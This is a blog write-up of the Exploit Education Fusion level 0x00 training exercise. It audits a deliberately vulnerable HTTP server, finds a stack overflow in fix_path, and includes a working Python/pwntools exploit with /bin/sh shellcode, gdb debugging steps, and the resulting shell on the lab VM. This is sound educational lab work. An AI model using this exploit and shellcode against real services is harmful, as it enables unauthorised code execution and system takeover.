Exploit Education - Fusion - Level 0x00
by Tomer Goldschmidt
Long ago I exercised with the old version of Exploit-Exercises
. Specifically with Protostar
.
Now that I am more experienced I want to try tackling Exploit-Education - Fusion
exercises.
Setup
- First thing first, let’s download the
.iso
of theFusion
image from the downloads found in exploit.education/donwloads - Start a new VM with the supplied image I just donwloaded.
- Make sure the VM Network-Adapter is in
Bridged Mode
.
About
This is a simple introduction to get you warmed up. The return address is supplied in case your memory needs a jog :)
Option | Setting |
---|---|
Vulnerability Type | Stack |
PIC | No |
Read Only Relocations | No |
Non-Executable stack | No |
Non-Executable heap | No |
ASLR | No |
Source Fortification | No |
Source code
#include "../common/common.c"
int fix_path(char *path)
{
char resolved[128];
if(realpath(path, resolved) == NULL) return 1;
// can't access path. will error trying to open
strcpy(path, resolved);
}
char *parse_http_request()
{
char buffer[1024];
char *path;
char *q;
printf("[debug] buffer is at 0x%08x :-)\n", buffer);
if(read(0, buffer, sizeof(buffer)) <= 0)
errx(0, "Failed to read from remote host");
if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
path = &buffer[4];
q = strchr(path, ' ');
if(! q) errx(0, "No protocol version specified");
*q++ = 0;
if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
fix_path(path);
printf("trying to access %s\n", path);
return path;
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *p;
background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);
parse_http_request();
}
Source code Audit
Boiler-Plate code
- This seems to be a program of a simple http handling server.
- The
background_process(NAME, UID, GID);
is probably boiler plate code to make this a service that serves on thePORT
assigned. - The
set_io(fd)
I’m guessing that is duplicating the socket tostdin
andstdout
of the program.
The parse_http_request()
Function
- Reads from the client socket into a buffer of 1024 bytes.
[!WARNING] What if
read()
as read a small part of the amount? - Specifically handles
GET
requests withHTTP/1.1
http protocol version header. - Calls to
fix_path(path)
witth the suppliedpath
from user input.char *parse_http_request() { char buffer[1024]; char *path; char *q; printf("[debug] buffer is at 0x%08x :-)\n", buffer); if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); path = &buffer[4]; q = strchr(path, ' '); if(! q) errx(0, "No protocol version specified"); *q++ = 0; if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); fix_path(path); printf("trying to access %s\n", path); return path; }
The fix_path()
function
- The function recieves as argument a pointer to the supplied URI path parsed from the HTTP
GET
packet. realpath()
standard function is used to translate the URI path into full real path that is stored in local stack buffer namedresolved
.[! WARNING]
resolved
is 128 bytes long, which might be too small.[! BUG] There is a Stack Buffer Overflow condition here.
int fix_path(char *path)
{
char resolved[128];
if(realpath(path, resolved) == NULL) return 1;
// can't access path. will error trying to open
strcpy(path, resolved);
}
Exploit Development
- I started by creating a python script to implement an initial exploit which I can test.
- The idea for an exploit was as follows:
- Extreact
buffer
base address from connection prompt. - build a payload that on translated by
fix_path
overflows theresolved
buffer local variable until the return-address.- Payload effective return-address will point at the
buffer + len(payload_without_shellcode)
- Payload effective return-address will point at the
- Send the payload to the server and go into interactive mode with
pwntools
python library. - Waith for
/bin/sh
shell.
- Extreact
- The following is the script content:
#! /usr/bin/python3
import re
import pwn
import time
import struct
p = pwn.remote('192.168.1.23', 20000)
resp = p.readuntil(':-)\n')
buffer_addr = int(re.findall('0x(.+?) ', resp.decode())[0], 16)
print(hex(buffer_addr))
path = b'/tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
get = b'GET '
header = b' HTTP/1.1'
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload = get + path + struct.pack("<II", buffer_addr, buffer_addr + len(get) + len(path) + 8 + len(header)) + header + shellcode
input()
p.sendline(payload)
p.interactive()
Debugging the Exploit
My script didn’t work on the first try, so I went on to debug my exploit code. To debug my exploit I needed to attach with gdb
to the client process on the server-side.
I connected with ssh
to the Fusion machine. ssh fusion@<Fusion-VM-IP>
with password godmode
.
Meanwhile I executed the script I wrote, which creates a connection to the server and wait for input()
from me.
Than, On the Fusion-VM
I listed the processes actively running using ps -ef | grep level00
and in gdb
attached to the process.
From there I started debugging the process.
After debugging the the exploit, I understood that I should position the buffer
address once before the address of the shellcode.
This is because the program uses the leave
assembly directive in this calling convention which assigns the stored $ebp
from the stack into $esp
register.
Which is used in the shellcode. That way the exploit won’t cause the program to segfault.
[!NOTE] Place two addresses in you payload, one for
$esp
register and the second for the$eip
register.
Debugging using GDB
- On Fusion-VM:
fusion@fusion:/tmp$ ps -ef | grep level00
20000 2059 1 0 06:01 ? 00:00:00 ./level00 # This is the server process. PID=2059 PPID=1
20000 3200 2059 0 08:50 ? 00:00:00 ./level00 # This is the Client process. PID=3200 PPID=2059
fusion 3202 1755 0 08:50 pts/0 00:00:00 grep --color=auto level00
fusion@fusion:/tmp$ sudo gdb
(gdb) attach 3200
(gdb) b *fix_path+63 # This is a breakpoint before fix_path() returns.
(gdb) c
... # Now I let the script continue on my Main-VM.
(gdb) x/1x $esp
<Actual-Return-Address> # Should be pointing at shellcode address that was stored in the buffer on the stack.
(gdb) c
- On Main-VM:
user@user-virtual-machine:~/projects/fusion/level00$ ./script.py
[+] Opening connection to 192.168.1.23 on port 20000: Done
/home/user/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:1434: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
return func(self, *a, **kw)
0xbfdc1ce8
[*] Switching to interactive mode
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$
Summery
In the end this challenge wasn’t that hard, but it is a starting point for this sequence of exercises. I will make an effort to document my advancement and upload it in this platform. Thank you for reading this post, I hope that this was beneficial for you readers.
tags: fusion